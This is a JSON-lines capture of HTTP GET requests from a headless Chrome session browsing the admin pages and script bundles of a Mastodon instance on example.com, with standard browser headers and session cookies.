{"method": "GET", "target": "/admin/tags?name=python3", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MDkuOTIxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--02fd1120fad0c0d6068175ab96f5c42cb80999e0; _mastodon_session=fdmBJUzDykZ9vuxDaKs6CtpGzmM19KdW0sGqKgkU93OM%2F2XguQRvNiIkoLmzMTAVW8l7TG%2Bu5t30HLyIWv%2FTb6d89RZYO4%2FR97VquoMBPeOy92Y3U0apd3ToRB2AP1fkrZ0omKCOoCfv%2BmWQ1Hw2SfQj6%2Fb38Xj3ETl06m1AqPkcPi6Psj4N6XE29N%2BkE5vYWcQaOvYhSlSBFUT5Wu8J4oC7lAmrqQMVHzQ0JUFnFgvn04NUY3kdGeA2gBApgnSmrkm0rnVoKTOIS1ilHXh%2FwCqsU85ktEyNZe5M3rSZGPb9Pr57tjJPKjBY0K46fK2P6HLdM0jsUfpGLtSK5I0koNoxMNCVBdnJMtCbMUJ7wlvokFqMRZwn7PTwk87ap0yAQl117MhUGpSX--myBsRu193ek%2B4Iyt--T2NQcxyk%2B8XFFQN%2BPx45PQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/react-dom-BddMPX6d.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/tags?name=python3", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MTIuNzY1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--d6f4dbca96ee5e129689b201e87ebe6fa58ea140; _mastodon_session=NFnChyhDFry4INEz%2BWzfqgy74NH%2F6PpNmL%2BMgG9Jei8Yywiuu7Etl7dLj7TdUj%2BZFfEQsH5FQE2ZRnXa9idN8uIFcrYC82%2BsWuFzIhtJUPPmlPah7DDgudK%2B9sTze5KY1BI2ROEuZS9b7C2z86SQxfQYoLNrJSBQFl0S98ZGVD92ocpqtvzgaWMoRi%2B9GZ87%2FOttt4ERZT5hW%2BZMhGwv0PcYjaRnRd%2F0Eob0UgQtxnFvWzZ4cbaE2g4xK3Ysh5LDuGiYcHwR9zZ5UhBKDbDVrhpqwp057DB67F4juDotAW76%2Bdmm6WAewfc3rphZFy0IV91aCUGjuhVNQg%2Fr9nLpy%2FJpliYlxgrFdUo8Q5iv6tJheF6UKJwsQfJhWy3JAQvcFG1jOYDrMpXm--oBX%2FQWjRY4CY6sWS--oz7REDrmHuSsV%2FO5TwowzQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/action_logs", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MTIuNzY1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--d6f4dbca96ee5e129689b201e87ebe6fa58ea140; _mastodon_session=NFnChyhDFry4INEz%2BWzfqgy74NH%2F6PpNmL%2BMgG9Jei8Yywiuu7Etl7dLj7TdUj%2BZFfEQsH5FQE2ZRnXa9idN8uIFcrYC82%2BsWuFzIhtJUPPmlPah7DDgudK%2B9sTze5KY1BI2ROEuZS9b7C2z86SQxfQYoLNrJSBQFl0S98ZGVD92ocpqtvzgaWMoRi%2B9GZ87%2FOttt4ERZT5hW%2BZMhGwv0PcYjaRnRd%2F0Eob0UgQtxnFvWzZ4cbaE2g4xK3Ysh5LDuGiYcHwR9zZ5UhBKDbDVrhpqwp057DB67F4juDotAW76%2Bdmm6WAewfc3rphZFy0IV91aCUGjuhVNQg%2Fr9nLpy%2FJpliYlxgrFdUo8Q5iv6tJheF6UKJwsQfJhWy3JAQvcFG1jOYDrMpXm--oBX%2FQWjRY4CY6sWS--oz7REDrmHuSsV%2FO5TwowzQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/jsx-runtime-BdxMnOeJ.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/action_logs", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MTUuNjAzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--3096f08c146fa14302ad2d672a0570934c5a129f; _mastodon_session=uKF7zTl%2BRavFBrha1TLOuxxq4jSA%2BQYTUkrT8h2VHA0XZa4NxW44ltvVQ0M5MAG3%2FX9CzsdCu9GOiuTyt12GKar57FANN3cxuv3W4WrpXF89gVU%2FsE8WrqzPq3DLp0SrkbIXzaQYtaVPOgUGYBu%2FEu1IEZeyXeze7fOOPIMrog82PEPVI4myCLWUJ%2FG3DIfQb05LFJ%2F19RHPoPL4wnTYw1Pm65wUiZCdEGaVGfLbgTBjghwLkIGLi8STyXorRnP98eqICI7qem%2BuXnN5trEZHS5QxRlx48vC79ZuLqkSyKIoxekZA3hv4jxvhsTbzxRyJzH2Dk4gsCfK3F9O07PfBLq3ih8HOQ5AzaUFli89I%2BAgQxALf0ETdcqLlY0Za7qOyPYLH5UVnY4l--Bxly6YlXZCndBwbw--6hTumwCewXjEZ%2BxkhTVSPQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/roles", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MTUuNjAzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--3096f08c146fa14302ad2d672a0570934c5a129f; _mastodon_session=uKF7zTl%2BRavFBrha1TLOuxxq4jSA%2BQYTUkrT8h2VHA0XZa4NxW44ltvVQ0M5MAG3%2FX9CzsdCu9GOiuTyt12GKar57FANN3cxuv3W4WrpXF89gVU%2FsE8WrqzPq3DLp0SrkbIXzaQYtaVPOgUGYBu%2FEu1IEZeyXeze7fOOPIMrog82PEPVI4myCLWUJ%2FG3DIfQb05LFJ%2F19RHPoPL4wnTYw1Pm65wUiZCdEGaVGfLbgTBjghwLkIGLi8STyXorRnP98eqICI7qem%2BuXnN5trEZHS5QxRlx48vC79ZuLqkSyKIoxekZA3hv4jxvhsTbzxRyJzH2Dk4gsCfK3F9O07PfBLq3ih8HOQ5AzaUFli89I%2BAgQxALf0ETdcqLlY0Za7qOyPYLH5UVnY4l--Bxly6YlXZCndBwbw--6hTumwCewXjEZ%2BxkhTVSPQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/rolldown-runtime-C0FnF6B9.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/roles", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MTguNDUyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--3b0d4a3f025887f1aee8546fd4b03aac80ec0fb0; _mastodon_session=0mYjZ0Q1w0I%2FhAP%2Bkou1EGd%2FYO6o%2Bvu2YUGMGkANZcM%2FAn5WUyHAPNzVFgEAJ8TOMnsmiTM2cpNd5biXdKNi69xi9A4tEK2SWFNNu1CYUwyySWa08as6wf2h5QIwZSU2Xj0EpvuFWHSs9zyCzO2xjTd2sy%2BO%2Fbc1I1d7bfLnUdpQeNl1QUtFKXvTt9U5FVVm%2FZpKMdJMJsCRsMQ2b2od6N%2Bsx9ECMMuVcpfS1p0%2F4FEvxodIXn6sPPC36k%2F3q%2BkWQ9ITDtK5XtK49Y%2BLIRsX9i2Qx6QeHb8w9lWuhftBZ0Ijgr%2Bgs20WIBsXSw7hXy3yL5XtY2xxAlVlshh73xXZEwPUORUlnuLdrakRkyiqpA1f8vP1D7t5ZmRZ5qifyFPZyAipn8ohLO9H--%2BMPGVez4RuDHe0VA--qiiWjVWtwy7wY9An21xtZA%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/relays", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MTguNDUyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--3b0d4a3f025887f1aee8546fd4b03aac80ec0fb0; _mastodon_session=0mYjZ0Q1w0I%2FhAP%2Bkou1EGd%2FYO6o%2Bvu2YUGMGkANZcM%2FAn5WUyHAPNzVFgEAJ8TOMnsmiTM2cpNd5biXdKNi69xi9A4tEK2SWFNNu1CYUwyySWa08as6wf2h5QIwZSU2Xj0EpvuFWHSs9zyCzO2xjTd2sy%2BO%2Fbc1I1d7bfLnUdpQeNl1QUtFKXvTt9U5FVVm%2FZpKMdJMJsCRsMQ2b2od6N%2Bsx9ECMMuVcpfS1p0%2F4FEvxodIXn6sPPC36k%2F3q%2BkWQ9ITDtK5XtK49Y%2BLIRsX9i2Qx6QeHb8w9lWuhftBZ0Ijgr%2Bgs20WIBsXSw7hXy3yL5XtY2xxAlVlshh73xXZEwPUORUlnuLdrakRkyiqpA1f8vP1D7t5ZmRZ5qifyFPZyAipn8ohLO9H--%2BMPGVez4RuDHe0VA--qiiWjVWtwy7wY9An21xtZA%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/trends/links", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MjEuMzAyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--75b887123f8ced2df29248bfec8210db9b331ac5; _mastodon_session=MgE9xic9QrMILUPJLNaFKQaCzh%2FXM7mSzLCCOMgHXU1S9U6bpRt5%2FxAUT56ZUqT1FvXMyhStYY5sIU%2FFDkgZnDfWR01oo%2BmIrWXSgseILohuofPSNs9osfSP6OR0ptZUElBgJBJik4WwnH8%2B%2BfDZ6AcvVCYcvdTkpnnfkmu%2FZvbIwgmUFG2O5z0WVd01W1ZKxOH6ktSDqtW2zsPTkzXrs7NZP%2FC5GSzV8hcDMkjQW8WfbxP6RIHZjp3AWZARmhaA7BFoPrx%2FOtNRu3e0W2XsvBACzezwTnZXSfy4ywepSS2pRsUEC5%2BIe%2BiJneW31rA2ScY26wO64gDshDqmLZiB2XPqkXHMoB7%2B5estpGV3tNwPFgAjbk8%2FS3SCGFY62xX9nWyh9a9XAAti--JH5NWlBAZuMsIPN6--Dr8q%2BWbJzAqOibX2y8ZD%2Fg%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/rolldown-runtime-C0FnF6B9.js", "headers": ["Host: example.com", "Connection: keep-alive", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: serviceworker", "Referer: https://example.com/sw.js", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept-Encoding: gzip, deflate, br, zstd", "Accept-Language: en-US,en;q=0.9"], "body": ""}
{"method": "GET", "target": "/admin/trends/tags", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MjQuMTQ4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--07fd423afff187fdfaef441d6fb5e5063c0769fe; _mastodon_session=fOt%2Bvw5wckLINZ%2BiFoKVC3Pc5NQtJoQMiztNGDBKbpjP0cS8ClRov4aJ%2Fs4EWv%2FsqqitYD8VOYrbqWa3%2FgRg0Y7mJJ7kThynjptXYJC8fadmwNyYcM9EXcILq6fReMy6AguzI5A%2BxIfl44cegjE7ehdsp0OWorblq54xYrzKPeWsoolE0zjT8Xc3YE4F7iKXb303ZaRB2IuFG8FYnRQGNxU07SaPa%2FpaiHePas6lAAQ5vFz77qupC8GW5Fo2zyx3KmO3HlCiYVOnSwmXU0ztMdM9VP%2BBD%2B2x33c%2ByWuoS2x8WL03c5UbWjf00DbgMh8gEFRPqE7X1fKp%2BMGgSTCq67qauzZgRJIIWPqg3CrHd9WncejhoXgDZgfJ%2FMGqMl5TzGVz1Ma2QmuH--cMc5eZDENJa7lBPE--qpkQljJquN4ebr%2FhU2Kdfg%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/jsx-runtime-BdxMnOeJ.js", "headers": ["Host: example.com", "Connection: keep-alive", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: serviceworker", "Referer: https://example.com/sw.js", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept-Encoding: gzip, deflate, br, zstd", "Accept-Language: en-US,en;q=0.9"], "body": ""}
{"method": "GET", "target": "/admin/trends/statuses", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MjcuMTI2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--7c414d34ab8f634fc3192b5a84c7221c62c663db; _mastodon_session=7hzC9L9AUI7XiLeJnXP7VGOD0X2TrDotL%2B3NW%2Fgipkd7wfDl%2BCeVId3oO1kPWIjatqoFSXYAG1hjv2qXf5K6mP3EUiPMpYNy85xqRgkvv5Z4R9QoNe8q2hgk0Y6Il%2B8sPJjeA0kTjorAOB1txr1XkEZqk%2BUoBpXu4YG6kUTrPjzit601Ch3fCVsbbwqzbnk6y7cZzRFCBbhx6WUsquxxjVDEmAK0zgpcHHYrJnaFqu%2B%2FBn3OjwwCNaUT3YKtfwzrD%2Bl%2BFTJZJJ1xqvxumufal0PPjuF1gX0za9VlwFSebytUjfAAkTi489T7GIe4X%2FZ4bz8hA%2BVeAoqEepowztbECkdyKG8waBjO%2B1wvmDQILJgtAHqyfboWGLLGn1ZljVsyT7R9j1N6%2FDWC--C%2BQObkmZly3IQkxH--ZEQPNb7YTEi%2Ft0hnqQv%2BYA%3D%3D"], "body": ""}
{"method": "GET", "target": "/sw.js", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Accept: */*", "Service-Worker: script", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: serviceworker", "Referer: https://example.com/sw.js", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept-Encoding: gzip, deflate, br, zstd", "Accept-Language: en-US,en;q=0.9"], "body": ""}
{"method": "GET", "target": "/admin/follow_recommendations", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MzAuMTEwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--656662cf53f572d26bdb0f308595dc85fd3a602a; _mastodon_session=6IJBff2x%2FMbXNP3QSv2znCqYuHfmV1SLFQfqw6UZ3KAZoWnGEUiLHoCKs54GeaZM%2Fse1Q%2BOBKF9ML6XrxYswD3pKSvILNMkYiJ3EG%2FTnZLLRWZJSleK9Tr1hIf6QPuhholWydhTCMtrvNoFWDRBkRe1GLNPsdJhivPf%2B9H%2ByoBonMuEuELOvHo42KevScyBCRWanSrKc6Bq%2FWfFwj1qON7QQI9gZ%2FbtKljREFSOK5LR3gpusVt4a5QnUXSY4dOzfmAzor5IUNSzEXZKK0LYJXbLxoE6qzMZkyokQz%2BOZhiug69Xq3ce1fP%2B9tsXAL8pPbxuPZNvc6qiPE0vrwK63m4drvdkVP%2FJCy%2BqpC8nEA7GPzdjgVjChhU88zmVOOXbQ9Fa6EXuCxFMQ--6zvxtk%2B6R2APVs8y--DWd1GN0OBkmP1KtWXm3www%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/esm-DrOrXu-Y.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/follow_recommendations", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MzMuMTI2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--284c632524d78e801ba62bd16223d3259e127ec7; _mastodon_session=vuomX8ZGGtHfGqeIGWv7g4jvRuO4t%2FH4jUVwuGyGCGd7CDHQbIlkTcNr%2B1xJEHr2sbqhfPEKKqdEUDTnPE0p%2B45W9jvAH4Sz2QKjmHxuaYgBTOJYg2pfQfy14C22%2Bs5fvq8qCKXHSKk%2FNI4GokYB3ixwk4xstDdPq6EetSTHA8vmyX%2FHaTEPjA0T2bNVaj5jO5SnjYlUa1W6SRA%2Fwd9q%2FX24PpO87n3BlXBMJu3gFgFrkEsO4HtNQIdVZGVAFiX7DH9v%2Bvj9YiNd%2Fn%2FjKiDsKzXPGesij0b2B6gzYTHEujuOUUTDqmCuIIamQlMAYRlrha3bgb0kK69QyD%2BvStwU44Ycqf1yDzYUcwYjaY9dYX7Nq5rGV9QwRQd1feyS0rCoJ3QjvbqssmjV--8mr2L1y9RD9joeAT--URA9e2uebQuMLiQ6cFRp0g%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/settings/branding", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MzMuMTI2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--284c632524d78e801ba62bd16223d3259e127ec7; _mastodon_session=vuomX8ZGGtHfGqeIGWv7g4jvRuO4t%2FH4jUVwuGyGCGd7CDHQbIlkTcNr%2B1xJEHr2sbqhfPEKKqdEUDTnPE0p%2B45W9jvAH4Sz2QKjmHxuaYgBTOJYg2pfQfy14C22%2Bs5fvq8qCKXHSKk%2FNI4GokYB3ixwk4xstDdPq6EetSTHA8vmyX%2FHaTEPjA0T2bNVaj5jO5SnjYlUa1W6SRA%2Fwd9q%2FX24PpO87n3BlXBMJu3gFgFrkEsO4HtNQIdVZGVAFiX7DH9v%2Bvj9YiNd%2Fn%2FjKiDsKzXPGesij0b2B6gzYTHEujuOUUTDqmCuIIamQlMAYRlrha3bgb0kK69QyD%2BvStwU44Ycqf1yDzYUcwYjaY9dYX7Nq5rGV9QwRQd1feyS0rCoJ3QjvbqssmjV--8mr2L1y9RD9joeAT--URA9e2uebQuMLiQ6cFRp0g%3D%3D"], "body": ""}
